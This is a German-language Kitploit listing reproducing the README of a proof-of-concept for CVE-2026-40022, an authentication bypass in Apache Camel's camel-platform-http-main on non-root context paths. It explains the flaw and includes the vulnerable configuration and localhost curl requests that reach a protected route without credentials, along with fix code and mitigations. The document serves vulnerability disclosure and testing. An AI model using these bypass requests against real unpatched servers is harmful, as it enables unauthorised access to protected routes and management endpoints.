Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-40022 — Reproducer für CVE-2026-40022: Apache Camel camel-platform-http-main Authentifizierungsumgehung bei Nicht-Root-Kontextpfaden | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-40022
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungFehlkonfiguration
GitHuboscerd/cve-2026-40022

CVE-2026-40022

Reproducer für CVE-2026-40022: Apache Camel camel-platform-http-main Authentifizierungsumgehung bei Nicht-Root-Kontextpfaden

Repository anzeigen
7vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

camel-platform-http-main Authentifizierungsumgehung auf Nicht-Root-Kontextpfaden (CVE-2026-40022)

Dieses Projekt zeigt eine Authentifizierungsumgehung in der Apache Camel Komponente camel-platform-http-main (dem eingebetteten HTTP-/Management-Server der Camel main Laufzeitumgebung), die als CVE-2026-40022 erfasst ist. Wenn die Authentifizierung aktiviert ist und ein Nicht-Root-Kontextpfad (z. B. /api oder /admin) konfiguriert wird, deckt der Authentifizierungs-Handler nur den exakten Kontextpfad ab, sodass nicht authentifizierte Anfragen an Unterpfade geschützte Routen und Management-Endpunkte erreichen.

Advisory: https://camel.apache.org/security/CVE-2026-40022.html

Zusammenfassung der Schwachstelle

EigenschaftWert
Komponentecamel-platform-http-main (Eingebetteter HTTP-/Management-Server der Camel main Laufzeitumgebung)
Betroffene KlassenBasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer
UrsacheWenn authenticationPath nicht gesetzt ist, wird es von camel.server.path abgeleitet; beim Vert.x Sub-Router-Mounting-Modell stimmt der Auth-Handler nur mit dem exakten Kontextpfad überein, nicht mit seinen Unterpfaden
CWECWE-287: Unzulässige Authentifizierung (Authentifizierungsumgehung)
AuswirkungNicht authentifizierter Zugriff auf geschützte Geschäftsrouten und Management-Endpunkte (z. B. /observe/info Offenlegung von Laufzeitmetadaten)
Betroffene VersionenVon 4.14.1 vor 4.14.6 und von 4.15.0 vor 4.18.2
Behobene Versionen4.14.6, 4.18.2, 4.20.0
MelderJihang Yu
PRsapache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x)

Technische Details

BasicAuthenticationConfigurer (und JWTAuthenticationConfigurer) ermitteln den Pfad, den der Auth-Handler schützt, aus properties.getAuthenticationPath() und fallen auf properties.getPath() (den camel.server.path Kontextpfad) zurück, wenn dieser nicht explizit gesetzt ist:

String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());

Der Vert.x-Server mountet einen Sub-Router unter <contextPath>* und registriert den Auth-Handler innerhalb dieses Sub-Routers auf dem ermittelten Pfad. In betroffenen Versionen ist der ermittelte Pfad der Kontextpfad selbst – relativ zum bereits unter /api gemounteten Sub-Router endet der Auth-Handler mit /api/api anstatt jeden Unterpfad abzudecken. Das führt zu:

  • /api/api wird abgefragt (401) – der Handler ist vorhanden, aber falsch abgegrenzt
  • /api/hello (die eigentliche Geschäftsroute) wird nicht abgefragt → wird ohne Anmeldedaten ausgeliefert

Der Fix bewirkt, dass resolveAuthenticationPath /* zurückgibt, sodass der Handler alle Unterpfade des Sub-Routers abdeckt.

Setup

application.properties – ein Nicht-Root-Kontextpfad mit aktivierter Authentifizierung und nicht gesetztem authenticationPath:

camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties

Die Route wird unter /api/hello bereitgestellt.

Voraussetzungen

  • Java 17+
  • Maven 3.8+

Es wird kein externer Dienst oder Docker-Container benötigt – der anfällige HTTP-Server ist die Anwendung selbst.

Reproduktionsschritte

Schritt 1: Bauen und Starten

mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar

Schritt 2: Zeigen, dass Authentifizierung AKTIVIERT ist

curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
#    WWW-Authenticate: Basic realm="vertx-web"

Der BasicAuthHandler ist aktiv – aber fälschlicherweise auf den exakten Kontextpfad beschränkt.

Schritt 3: Die Umgehung – erreiche die geschützte Route ohne Anmeldedaten

curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
#    hello-response (dies ist eine GESCHÜTZTE Geschäftsroute)

Auf einer behobenen Version (4.14.6 / 4.18.2 / 4.20.0) gibt dies 401 Unauthorized zurück.

Schritt 4: Mit Anmeldedaten funktioniert es ebenfalls (wie beabsichtigt)

curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK

Auswirkung: Offenlegung von Management-Endpunkten

Der gleiche Fehler betrifft den Management-Server (camel.management.path, z. B. /admin). Eine nicht authentifizierte Anfrage an einen Unterpfad wie /admin/observe/info erreicht den Management-Endpunkt, der Laufzeitmetadaten offenlegen kann: den OS-Benutzer, das Arbeits-/Home-Verzeichnis, die Prozess-ID, JVM- und OS-Informationen.

Ausbeutungsbedingungen

  1. Die Camel main Laufzeitumgebung mit camel-platform-http-main.
  2. Authentifizierung ist auf dem Server oder Management-Server aktiviert.
  3. Ein Nicht-Root-Kontextpfad (camel.server.path / camel.management.path).
  4. camel.server.authenticationPath / camel.management.authenticationPath ist nicht explizit gesetzt.

Empfohlener Fix

Upgrade auf 4.14.6 / 4.18.2 / 4.20.0. Der Fix (resolveAuthenticationPath) sorgt dafür, dass der Auth-Handler jeden Unterpfad abdeckt:

default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
    if (authenticationPath != null && !authenticationPath.isBlank()) {
        return authenticationPath;
    }
    return "/*";   // war: der exakte Kontextpfad
}

Abhilfe

Bis zum Upgrade:

  1. Explizit setzen camel.server.authenticationPath = /* (und camel.management.authenticationPath = /*), damit der Handler alle Unterpfade abdeckt.
  2. Den Management-Server nur in einem vertrauenswürdigen Netzwerk betreiben.

Dateien

CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Camel main Laufzeitumgebung Einstiegspunkt
    │   └── HelloRoute.java           # eine geschützte platform-http Route (/api/hello)
    └── resources/
        ├── application.properties    # Nicht-Root-Pfad + Auth aktiviert (die anfällige Konfiguration)
        └── auth.properties           # basic-auth Benutzer (camel / propertiesPass)

Haftungsausschluss

Dieses Reproduktionstool wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich bekanntgegebene und behobene Schwachstelle. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Genehmigung.

Tool herunterladen